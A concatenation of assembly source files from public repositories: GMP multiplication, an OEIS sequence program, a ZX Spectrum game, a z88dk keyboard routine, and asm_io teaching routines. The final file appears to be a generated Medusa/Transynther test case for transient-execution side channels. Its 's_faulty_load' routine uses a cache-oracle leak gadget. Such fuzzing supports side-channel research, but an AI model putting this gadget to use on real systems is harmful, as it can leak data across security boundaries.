|
||||
TheStack | 5be4ec6ca0d2d3c67ce42006a5f354aa3b24d0d2 | Assemblycode:Assembly | {"size": 3072, "ext": "asm", "max_stars_repo_path": "externals/mpir-3.0.0/mpn/x86/pentium/addmul_1.asm", "max_stars_repo_name": "JaminChan/eos_win", "max_stars_repo_stars_event_min_datetime": "2018-08-14T03:52:21.000Z", "max_stars_repo_stars_event_max_datetime": "2018-08-14T03:52:21.000Z", "max_issues_repo_path": "externals/mpir-3.0.0/mpn/x86/pentium/addmul_1.asm", "max_issues_repo_name": "JaminChan/eos_win", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "externals/mpir-3.0.0/mpn/x86/pentium/addmul_1.asm", "max_forks_repo_name": "JaminChan/eos_win", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 22.4233576642, "max_line_length": 75, "alphanum_fraction": 0.6949869792} | dnl Intel Pentium mpn_addmul_1 -- mpn by limb multiplication.
dnl Copyright 1992, 1994, 1996, 1999, 2000, 2002 Free Software Foundation,
dnl Inc.
dnl
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or
dnl modify it under the terms of the GNU Lesser General Public License as
dnl published by the Free Software Foundation; either version 2.1 of the
dnl License, or (at your option) any later version.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful,
dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
dnl Lesser General Public License for more details.
dnl
dnl You should have received a copy of the GNU Lesser General Public
dnl License along with the GNU MP Library; see the file COPYING.LIB. If
dnl not, write to the Free Software Foundation, Inc., 51 Franklin Street,
dnl Fifth Floor, Boston, MA 02110-1301, USA. */
include(`../config.m4')
C P5: 14.0 cycles/limb
define(`OPERATION_addmul_1',1)
ifdef(`OPERATION_addmul_1', `
define(M4_inst, addl)
define(M4_function_1, mpn_addmul_1)
define(M4_function_1c, mpn_addmul_1c)
',`ifdef(`OPERATION_submul_1', `
define(M4_inst, subl)
define(M4_function_1, mpn_submul_1)
define(M4_function_1c, mpn_submul_1c)
',`m4_error(`Need OPERATION_addmul_1 or OPERATION_submul_1
')')')
MULFUNC_PROLOGUE(mpn_addmul_1 mpn_addmul_1c)
C mp_limb_t mpn_addmul_1 (mp_ptr dst, mp_srcptr src, mp_size_t size,
C mp_limb_t mult);
C mp_limb_t mpn_addmul_1c (mp_ptr dst, mp_srcptr src, mp_size_t size,
C mp_limb_t mult, mp_limb_t carry);
C
C mp_limb_t mpn_submul_1 (mp_ptr dst, mp_srcptr src, mp_size_t size,
C mp_limb_t mult);
C mp_limb_t mpn_submul_1c (mp_ptr dst, mp_srcptr src, mp_size_t size,
C mp_limb_t mult, mp_limb_t carry);
C
defframe(PARAM_CARRY, 20)
defframe(PARAM_MULTIPLIER,16)
defframe(PARAM_SIZE, 12)
defframe(PARAM_SRC, 8)
defframe(PARAM_DST, 4)
TEXT
ALIGN(8)
PROLOGUE(M4_function_1c)
deflit(`FRAME',0)
movl PARAM_CARRY, %ecx
pushl %esi FRAME_pushl()
jmp L(start_1c)
EPILOGUE()
ALIGN(8)
PROLOGUE(M4_function_1)
deflit(`FRAME',0)
xorl %ecx, %ecx
pushl %esi FRAME_pushl()
L(start_1c):
movl PARAM_SRC, %esi
movl PARAM_SIZE, %eax
pushl %edi FRAME_pushl()
pushl %ebx FRAME_pushl()
movl PARAM_DST, %edi
leal -1(%eax), %ebx C size-1
leal (%esi,%eax,4), %esi
xorl $-1, %ebx C -size, and clear carry
leal (%edi,%eax,4), %edi
L(top):
C eax
C ebx counter, negative
C ecx carry
C edx
C esi src end
C edi dst end
C ebp
adcl $0, %ecx
movl (%esi,%ebx,4), %eax
mull PARAM_MULTIPLIER
addl %ecx, %eax
movl (%edi,%ebx,4), %ecx
adcl $0, %edx
M4_inst %eax, %ecx
movl %ecx, (%edi,%ebx,4)
incl %ebx
movl %edx, %ecx
jnz L(top)
adcl $0, %ecx
popl %ebx
movl %ecx, %eax
popl %edi
popl %esi
ret
EPILOGUE()
|
||||
TheStack | 281c2f635d0270e96c858b4548d5e53d54908b97 | Assemblycode:Assembly | {"size": 338, "ext": "asm", "max_stars_repo_path": "programs/oeis/081/A081199.asm", "max_stars_repo_name": "karttu/loda", "max_stars_repo_stars_event_min_datetime": "2021-03-15T11:38:20.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-15T11:38:20.000Z", "max_issues_repo_path": "programs/oeis/081/A081199.asm", "max_issues_repo_name": "karttu/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/081/A081199.asm", "max_forks_repo_name": "karttu/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 26.0, "max_line_length": 190, "alphanum_fraction": 0.7514792899} | ; A081199: 5th binomial transform of (0,1,0,1,...), A000035.
; 0,1,10,76,520,3376,21280,131776,807040,4907776,29708800,179301376,1080002560,6496792576,39047864320,234555621376,1408407470080,8454739787776,50745618595840,304542431051776,1827529464217600
mov $1,6
pow $1,$0
mov $2,4
pow $2,$0
sub $1,$2
add $1,8
mul $1,2
sub $1,16
div $1,4
|
||||
TheStack | bb712a8df076e4ca780832e99d3d7cf20f7ff979 | Assemblycode:Assembly | {"size": 1574, "ext": "asm", "max_stars_repo_path": "modules/game.asm", "max_stars_repo_name": "formicant/Cuboid", "max_stars_repo_stars_event_min_datetime": "2021-11-05T00:18:17.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-05T00:18:17.000Z", "max_issues_repo_path": "modules/game.asm", "max_issues_repo_name": "formicant/Cuboid", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "modules/game.asm", "max_forks_repo_name": "formicant/Cuboid", "max_forks_repo_forks_event_min_datetime": "2021-11-05T00:19:07.000Z", "max_forks_repo_forks_event_max_datetime": "2021-11-05T00:19:07.000Z"} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": 1, "avg_line_length": 15.1346153846, "max_line_length": 52, "alphanum_fraction": 0.5451080051} | MODULE Game
; requires: Scr, Utils, Graphics, BgBuffer, Sprite
start
ld a, Scr.papBlk | Scr.inkWht | Scr.bright
call Utils.setScreenAttr
; call Utils.drawBackground
; call Utils.drawBrightGrid
call Blocks.drawLevel
; ld hl, 12 _hl_ 12
ld hl, 6 _hl_ 15
call BgBuffer.fillFromScreen
; coords
ld a, 12
ld (Coord.x), a
ld a, 8
ld (Coord.y), a
ld a, 9
ld (Coord.z), a
ld a, Dir.zPos
ld (Coord.orientation), a
; get sprite addr
ld hl, Graphics.cuboid + 8
ld e, (hl)
inc l
ld d, (hl)
ex de, hl ; hl: sprite addr
call Coord.getTileCoords
call Sprite.draw
.loop
; dir
call Keyboard.getKeys
xor a
or e
jp z, .loop
ld c, e
call Transition.prepare
push hl
call BgBuffer.fillFromScreen
pop hl
call drawBuffer
call Transition.perform
jp .loop
; (for debug purposes)
drawBuffer
ld a, Scr.papBlk | Scr.inkYlw
call Utils.setScreenAttr
ld d, l
xor a
ld c, a
srl d
rl c
DUP 3
srl d
rra
EDUP
ld e, a
add a, h
ld e, a
ld hl, Scr.attrStart
add hl, de
push bc
ld de, 24
ld b, 8
ld a, Scr.papBlu | Scr.inkWht
.loop
srl c
jr c, .full
ld a, Scr.papBlu | Scr.inkWht | Scr.bright
.full
DUP 8
ld (hl), a
inc l
EDUP
add hl, de
djnz .loop
pop bc
srl c
ret nc
ld a, Scr.papBlu | Scr.inkWht
DUP 8
ld (hl), a
inc l
EDUP
ret
ENDMODULE
|
||||
TheStack | 409061e0a616a5574629476d985f45e4a36e11b7 | Assemblycode:Assembly | {"size": 393, "ext": "asm", "max_stars_repo_path": "libsrc/target/fp1100/stdio/getk.asm", "max_stars_repo_name": "jpoikela/z88dk", "max_stars_repo_stars_event_min_datetime": "2017-01-14T23:33:45.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T11:28:42.000Z", "max_issues_repo_path": "libsrc/target/fp1100/stdio/getk.asm", "max_issues_repo_name": "jpoikela/z88dk", "max_issues_repo_issues_event_min_datetime": "2017-01-15T16:12:02.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T12:11:12.000Z", "max_forks_repo_path": "libsrc/target/fp1100/stdio/getk.asm", "max_forks_repo_name": "jpoikela/z88dk", "max_forks_repo_forks_event_min_datetime": "2017-01-17T10:43:03.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-23T17:25:02.000Z"} | {"max_stars_count": 640, "max_issues_count": 1600, "max_forks_count": 215, "avg_line_length": 12.28125, "max_line_length": 57, "alphanum_fraction": 0.5623409669} |
MODULE getk
SECTION code_clib
PUBLIC getk
PUBLIC _getk
getk:
_getk:
call $70f
ld hl,0
ret z
cp 13
jr z,done
cp 8
jr z,done
cp 32
ret c
cp 127
ret nc
done:
ld l,a
ld h,0
ret
SECTION code_crt_init
; Initialise the keyboard ringbuffer
ld hl,$9f7a ;[0704] 21 7a 9f
ld ($a02b),hl ;[0707] 22 2b a0
ld ($a02d),hl
|
||||
TheStack | e98d53a7afa5cfc917f8c71e041836bd42561bf7 | Assemblycode:Assembly | {"size": 211, "ext": "asm", "max_stars_repo_path": "test/strings.asm", "max_stars_repo_name": "AndreLaranjeira/AssemblyTranslator", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "test/strings.asm", "max_issues_repo_name": "AndreLaranjeira/AssemblyTranslator", "max_issues_repo_issues_event_min_datetime": "2018-11-16T13:22:23.000Z", "max_issues_repo_issues_event_max_datetime": "2018-11-27T00:49:09.000Z", "max_forks_repo_path": "test/strings.asm", "max_forks_repo_name": "AndreLaranjeira/AssemblyTranslator", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": 4, "max_forks_count": null, "avg_line_length": 16.2307692308, "max_line_length": 23, "alphanum_fraction": 0.8151658768} | SECTION TEXT
C_OUTPUT TESTE_OFFSET+1
S_INPUT STRING+1, 100
S_OUTPUT STRING+1, 100
C_OUTPUT TESTE_OFFSET+2
STOP
SECTION DATA
TESTE_OFFSET: CONST 0
MENSAGEM: CONST 62
ENTER: CONST 10
SECTION BSS
STRING: SPACE 101
|
||||
TheStack | 4bfa0b47de096211d7c5e3181e45a5651aedcec7 | Assemblycode:Assembly | {"size": 8390, "ext": "asm", "max_stars_repo_path": "reference/lab1/assembly/examples/ms/asm_io.asm", "max_stars_repo_name": "Leser2020/6.828", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "reference/lab1/assembly/examples/ms/asm_io.asm", "max_issues_repo_name": "Leser2020/6.828", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "reference/lab1/assembly/examples/ms/asm_io.asm", "max_forks_repo_name": "Leser2020/6.828", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 17.51565762, "max_line_length": 74, "alphanum_fraction": 0.6610250298} | ;
; file: asm_io.asm
; Assembly I/O routines
; To assemble for DJGPP
; nasm -f coff -d COFF_TYPE asm_io.asm
; To assemble for Borland C++ 5.x
; nasm -f obj -d OBJ_TYPE asm_io.asm
; To assemble for Microsoft Visual Studio
; nasm -f win32 -d COFF_TYPE asm_io.asm
; To assemble for Linux
; nasm -f elf -d ELF_TYPE asm_io.asm
%define NL 10
%define CF_MASK 00000001h
%define PF_MASK 00000004h
%define AF_MASK 00000010h
%define ZF_MASK 00000040h
%define SF_MASK 00000080h
%define DF_MASK 00000400h
%define OF_MASK 00000800h
;
; Linux C doesn't put underscores on labels
;
%ifdef ELF_TYPE
%define _scanf scanf
%define _printf printf
%define _getchar getchar
%define _putchar putchar
%define _fputs fputs
%endif
%ifdef OBJ_TYPE
segment .data public align=4 class=data use32
%else
segment .data
%endif
int_format db "%i", 0
string_format db "%s", 0
reg_format db "Register Dump # %d", NL
db "EAX = %.8X EBX = %.8X ECX = %.8X EDX = %.8X", NL
db "ESI = %.8X EDI = %.8X EBP = %.8X ESP = %.8X", NL
db "EIP = %.8X FLAGS = %.4X %s %s %s %s %s %s %s", NL
db 0
carry_flag db "CF", 0
zero_flag db "ZF", 0
sign_flag db "SF", 0
parity_flag db "PF", 0
overflow_flag db "OF", 0
dir_flag db "DF", 0
aux_carry_flag db "AF", 0
unset_flag db " ", 0
mem_format1 db "Memory Dump # %d Address = %.8X", NL, 0
mem_format2 db "%.8X ", 0
mem_format3 db "%.2X ", 0
stack_format db "Stack Dump # %d", NL
db "EBP = %.8X ESP = %.8X", NL, 0
stack_line_format db "%+4d %.8X %.8X", NL, 0
math_format1 db "Math Coprocessor Dump # %d Control Word = %.4X"
db " Status Word = %.4X", NL, 0
valid_st_format db "ST%d: %.10g", NL, 0
invalid_st_format db "ST%d: Invalid ST", NL, 0
empty_st_format db "ST%d: Empty", NL, 0
;
; code is put in the _TEXT segment
;
%ifdef OBJ_TYPE
segment text public align=1 class=code use32
%else
segment .text
%endif
global read_int, print_int, print_string, read_char
global print_char, print_nl, sub_dump_regs, sub_dump_mem
global sub_dump_math, sub_dump_stack
extern _scanf, _printf, _getchar, _putchar, _fputs
read_int:
enter 4,0
pusha
pushf
lea eax, [ebp-4]
push eax
push dword int_format
call _scanf
pop ecx
pop ecx
popf
popa
mov eax, [ebp-4]
leave
ret
print_int:
enter 0,0
pusha
pushf
push eax
push dword int_format
call _printf
pop ecx
pop ecx
popf
popa
leave
ret
print_string:
enter 0,0
pusha
pushf
push eax
push dword string_format
call _printf
pop ecx
pop ecx
popf
popa
leave
ret
read_char:
enter 4,0
pusha
pushf
call _getchar
mov [ebp-4], eax
popf
popa
mov eax, [ebp-4]
leave
ret
print_char:
enter 0,0
pusha
pushf
push eax
call _putchar
pop ecx
popf
popa
leave
ret
print_nl:
enter 0,0
pusha
pushf
push dword 10 ; 10 == ASCII code for \n
call _putchar
pop ecx
popf
popa
leave
ret
sub_dump_regs:
enter 4,0
pusha
pushf
mov eax, [esp] ; read FLAGS back off stack
mov [ebp-4], eax ; save flags
;
; show which FLAGS are set
;
test eax, CF_MASK
jz cf_off
mov eax, carry_flag
jmp short push_cf
cf_off:
mov eax, unset_flag
push_cf:
push eax
test dword [ebp-4], PF_MASK
jz pf_off
mov eax, parity_flag
jmp short push_pf
pf_off:
mov eax, unset_flag
push_pf:
push eax
test dword [ebp-4], AF_MASK
jz af_off
mov eax, aux_carry_flag
jmp short push_af
af_off:
mov eax, unset_flag
push_af:
push eax
test dword [ebp-4], ZF_MASK
jz zf_off
mov eax, zero_flag
jmp short push_zf
zf_off:
mov eax, unset_flag
push_zf:
push eax
test dword [ebp-4], SF_MASK
jz sf_off
mov eax, sign_flag
jmp short push_sf
sf_off:
mov eax, unset_flag
push_sf:
push eax
test dword [ebp-4], DF_MASK
jz df_off
mov eax, dir_flag
jmp short push_df
df_off:
mov eax, unset_flag
push_df:
push eax
test dword [ebp-4], OF_MASK
jz of_off
mov eax, overflow_flag
jmp short push_of
of_off:
mov eax, unset_flag
push_of:
push eax
push dword [ebp-4] ; FLAGS
mov eax, [ebp+4]
sub eax, 10 ; EIP on stack is 10 bytes ahead of orig
push eax ; EIP
lea eax, [ebp+12]
push eax ; original ESP
push dword [ebp] ; original EBP
push edi
push esi
push edx
push ecx
push ebx
push dword [ebp-8] ; original EAX
push dword [ebp+8] ; # of dump
push dword reg_format
call _printf
add esp, 76
popf
popa
leave
ret 4
sub_dump_stack:
enter 0,0
pusha
pushf
lea eax, [ebp+20]
push eax ; original ESP
push dword [ebp] ; original EBP
push dword [ebp+8] ; # of dump
push dword stack_format
call _printf
add esp, 16
mov ebx, [ebp] ; ebx = original ebp
mov eax, [ebp+16] ; eax = # dwords above ebp
shl eax, 2 ; eax *= 4
add ebx, eax ; ebx = & highest dword in stack to display
mov edx, [ebp+16]
mov ecx, edx
add ecx, [ebp+12]
inc ecx ; ecx = # of dwords to display
stack_line_loop:
push edx
push ecx ; save ecx & edx
push dword [ebx] ; value on stack
push ebx ; address of value on stack
mov eax, edx
sal eax, 2 ; eax = 4*edx
push eax ; offset from ebp
push dword stack_line_format
call _printf
add esp, 16
pop ecx
pop edx
sub ebx, 4
dec edx
loop stack_line_loop
popf
popa
leave
ret 12
sub_dump_mem:
enter 0,0
pusha
pushf
push dword [ebp+12]
push dword [ebp+16]
push dword mem_format1
call _printf
add esp, 12
mov esi, [ebp+12] ; address
and esi, 0FFFFFFF0h ; move to start of paragraph
mov ecx, [ebp+8]
inc ecx
mem_outer_loop:
push ecx
push esi
push dword mem_format2
call _printf
add esp, 8
xor ebx, ebx
mem_hex_loop:
xor eax, eax
mov al, [esi + ebx]
push eax
push dword mem_format3
call _printf
add esp, 8
inc ebx
cmp ebx, 16
jl mem_hex_loop
mov eax, '"'
call print_char
xor ebx, ebx
mem_char_loop:
xor eax, eax
mov al, [esi+ebx]
cmp al, 32
jl non_printable
cmp al, 126
jg non_printable
jmp short mem_char_loop_continue
non_printable:
mov eax, '?'
mem_char_loop_continue:
call print_char
inc ebx
cmp ebx, 16
jl mem_char_loop
mov eax, '"'
call print_char
call print_nl
add esi, 16
pop ecx
loop mem_outer_loop
popf
popa
leave
ret 12
; function sub_dump_math
; prints out state of math coprocessor without modifying the coprocessor
; or regular processor state
; Parameters:
; dump number - dword at [ebp+8]
; Local variables:
; ebp-108 start of fsave buffer
; ebp-116 temp double
; Notes: This procedure uses the Pascal convention.
; fsave buffer structure:
; ebp-108 control word
; ebp-104 status word
; ebp-100 tag word
; ebp-80 ST0
; ebp-70 ST1
; ebp-60 ST2 ...
; ebp-10 ST7
;
sub_dump_math:
enter 116,0
pusha
pushf
fsave [ebp-108] ; save coprocessor state to memory
mov eax, [ebp-104] ; status word
and eax, 0FFFFh
push eax
mov eax, [ebp-108] ; control word
and eax, 0FFFFh
push eax
push dword [ebp+8]
push dword math_format1
call _printf
add esp, 16
;
; rotate tag word so that tags in same order as numbers are
; in the stack
;
mov cx, [ebp-104] ; ax = status word
shr cx, 11
and cx, 7 ; cl = physical state of number on stack top
mov bx, [ebp-100] ; bx = tag word
shl cl,1 ; cl *= 2
ror bx, cl ; move top of stack tag to lowest bits
mov edi, 0 ; edi = stack number of number
lea esi, [ebp-80] ; esi = address of ST0
mov ecx, 8 ; ecx = loop counter
tag_loop:
push ecx
mov ax, 3
and ax, bx ; ax = current tag
or ax, ax ; 00 -> valid number
je valid_st
cmp ax, 1 ; 01 -> zero
je zero_st
cmp ax, 2 ; 10 -> invalid number
je invalid_st
push edi ; 11 -> empty
push dword empty_st_format
call _printf
add esp, 8
jmp short cont_tag_loop
zero_st:
fldz
jmp short print_real
valid_st:
fld tword [esi]
print_real:
fstp qword [ebp-116]
push dword [ebp-112]
push dword [ebp-116]
push edi
push dword valid_st_format
call _printf
add esp, 16
jmp short cont_tag_loop
invalid_st:
push edi
push dword invalid_st_format
call _printf
add esp, 8
cont_tag_loop:
ror bx, 2 ; mov next tag into lowest bits
inc edi
add esi, 10 ; mov to next number on stack
pop ecx
loop tag_loop
frstor [ebp-108] ; restore coprocessor state
popf
popa
leave
ret 4
|
||||
TheStack | 08b10e2351da36e393ca9dc5bbd40e0e02abf8de | Assemblycode:Assembly | {"size": 6617, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/AVXALIGN/_st_/i7-8650U_0xd2_notsx.log_357_1574.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/AVXALIGN/_st_/i7-8650U_0xd2_notsx.log_357_1574.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/AVXALIGN/_st_/i7-8650U_0xd2_notsx.log_357_1574.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 24.8759398496, "max_line_length": 1070, "alphanum_fraction": 0.6533172132} | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r15
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0xb23d, %rsi
nop
and $38747, %r10
mov (%rsi), %rdi
nop
nop
nop
and $63129, %r14
lea addresses_D_ht+0x8155, %r8
nop
nop
nop
nop
add %rdx, %rdx
mov (%r8), %esi
nop
nop
nop
nop
add $50561, %r10
lea addresses_normal_ht+0x1a9f5, %r8
nop
nop
sub %r15, %r15
mov (%r8), %rsi
nop
nop
cmp $1417, %rsi
lea addresses_D_ht+0x95c7, %rdi
nop
nop
nop
dec %rsi
mov $0x6162636465666768, %r15
movq %r15, %xmm4
vmovups %ymm4, (%rdi)
nop
nop
nop
and %rdx, %rdx
lea addresses_D_ht+0xd975, %rdx
cmp %rdi, %rdi
movw $0x6162, (%rdx)
nop
nop
nop
nop
and $11641, %rdi
lea addresses_normal_ht+0x1c9f5, %r10
nop
nop
nop
nop
lfence
movb $0x61, (%r10)
nop
nop
dec %r15
lea addresses_UC_ht+0xd309, %rsi
lea addresses_D_ht+0x14d12, %rdi
nop
nop
xor $23592, %r8
mov $31, %rcx
rep movsq
nop
nop
nop
nop
nop
xor %r10, %r10
lea addresses_WC_ht+0xe8f5, %rsi
lea addresses_UC_ht+0x79f5, %rdi
nop
nop
nop
nop
nop
dec %r15
mov $60, %rcx
rep movsb
dec %rdi
lea addresses_normal_ht+0x1b9f5, %rsi
lea addresses_A_ht+0x8f5, %rdi
nop
xor $64392, %rdx
mov $124, %rcx
rep movsb
nop
nop
add $32692, %r14
lea addresses_D_ht+0x1d775, %r14
nop
nop
nop
nop
nop
inc %rdx
and $0xffffffffffffffc0, %r14
vmovntdqa (%r14), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $0, %xmm2, %rdi
nop
nop
nop
nop
dec %rsi
lea addresses_D_ht+0x1d735, %rdi
clflush (%rdi)
add %rsi, %rsi
mov (%rdi), %r8d
nop
nop
nop
dec %rsi
lea addresses_normal_ht+0x319d, %r15
nop
nop
nop
nop
dec %r10
mov (%r15), %r8w
inc %r10
lea addresses_normal_ht+0x12025, %r14
nop
nop
sub $62835, %rdx
movl $0x61626364, (%r14)
nop
nop
nop
nop
cmp $58777, %r8
lea addresses_WT_ht+0x1b05d, %r10
clflush (%r10)
nop
nop
nop
nop
sub %rcx, %rcx
mov $0x6162636465666768, %r15
movq %r15, %xmm2
and $0xffffffffffffffc0, %r10
vmovaps %ymm2, (%r10)
nop
nop
add %rdx, %rdx
lea addresses_A_ht+0xb5f5, %rsi
lea addresses_normal_ht+0x185e3, %rdi
clflush (%rsi)
clflush (%rdi)
cmp $4148, %r14
mov $52, %rcx
rep movsl
nop
sub %r10, %r10
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %r15
push %r9
push %rbx
push %rdi
// Load
lea addresses_RW+0x11055, %r9
nop
nop
nop
cmp $64725, %r12
vmovups (%r9), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $0, %xmm2, %r15
nop
nop
nop
nop
nop
cmp %rdi, %rdi
// Store
lea addresses_RW+0x1af35, %r10
xor %rbx, %rbx
movl $0x51525354, (%r10)
nop
nop
nop
nop
cmp %rdi, %rdi
// Store
lea addresses_UC+0x3ad5, %r12
nop
sub %r14, %r14
movl $0x51525354, (%r12)
nop
add $51815, %r14
// Faulty Load
lea addresses_PSE+0x139f5, %r14
add %r9, %r9
mov (%r14), %r15w
lea oracles, %rdi
and $0xff, %r15
shlq $12, %r15
mov (%rdi,%r15,1), %r15
pop %rdi
pop %rbx
pop %r9
pop %r15
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': True, 'NT': True, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': True, 'NT': True, 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}}
{'33': 357}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
||||
